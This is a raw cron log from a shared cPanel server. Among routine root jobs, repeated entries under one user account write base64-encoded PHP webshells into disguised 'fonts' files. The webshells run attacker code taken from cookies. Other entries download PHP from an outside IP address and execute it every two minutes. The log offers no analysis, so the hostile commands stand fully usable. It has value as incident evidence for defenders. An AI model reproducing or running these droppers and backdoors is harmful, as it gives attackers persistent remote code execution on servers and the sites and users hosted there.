Sep  2 02:09:01 ip-184-168-122-23 CROND[25994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:09:01 ip-184-168-122-23 CROND[25995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:09:01 ip-184-168-122-23 CROND[25996]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:10:01 ip-184-168-122-23 CROND[26106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:10:01 ip-184-168-122-23 CROND[26110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:10:01 ip-184-168-122-23 CROND[26112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:11:01 ip-184-168-122-23 CROND[26201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:11:01 ip-184-168-122-23 CROND[26202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:11:01 ip-184-168-122-23 CROND[26204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:11:01 ip-184-168-122-23 CROND[26205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:12:01 ip-184-168-122-23 CROND[26288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:12:01 ip-184-168-122-23 CROND[26291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:12:01 ip-184-168-122-23 CROND[26293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:12:01 ip-184-168-122-23 CROND[26294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:12:01 ip-184-168-122-23 CROND[26292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:13:01 ip-184-168-122-23 CROND[26407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:13:02 ip-184-168-122-23 CROND[26410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:13:02 ip-184-168-122-23 CROND[26409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:13:02 ip-184-168-122-23 CROND[26412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:14:02 ip-184-168-122-23 CROND[26591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:14:02 ip-184-168-122-23 CROND[26593]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  2 02:14:02 ip-184-168-122-23 CROND[26596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:14:02 ip-184-168-122-23 CROND[26595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:14:02 ip-184-168-122-23 CROND[26594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:14:02 ip-184-168-122-23 CROND[26597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:15:01 ip-184-168-122-23 CROND[26686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:15:02 ip-184-168-122-23 CROND[26691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:15:02 ip-184-168-122-23 CROND[26690]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 02:15:02 ip-184-168-122-23 CROND[26689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:15:02 ip-184-168-122-23 CROND[26692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:15:02 ip-184-168-122-23 CROND[26693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:15:02 ip-184-168-122-23 CROND[26694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:16:01 ip-184-168-122-23 CROND[26793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:16:01 ip-184-168-122-23 CROND[26796]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:16:01 ip-184-168-122-23 CROND[26795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:16:01 ip-184-168-122-23 CROND[26797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:16:01 ip-184-168-122-23 CROND[26799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:16:01 ip-184-168-122-23 CROND[26798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:17:01 ip-184-168-122-23 CROND[26920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:17:01 ip-184-168-122-23 CROND[26922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:17:01 ip-184-168-122-23 CROND[26924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:17:01 ip-184-168-122-23 CROND[26923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:18:02 ip-184-168-122-23 CROND[27007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:18:02 ip-184-168-122-23 CROND[27008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:18:02 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:18:02 ip-184-168-122-23 CROND[27014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:18:02 ip-184-168-122-23 CROND[27013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:19:01 ip-184-168-122-23 CROND[27097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:19:01 ip-184-168-122-23 CROND[27098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:19:01 ip-184-168-122-23 CROND[27100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:19:01 ip-184-168-122-23 CROND[27102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:20:01 ip-184-168-122-23 CROND[27204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:20:01 ip-184-168-122-23 CROND[27205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:20:01 ip-184-168-122-23 CROND[27209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
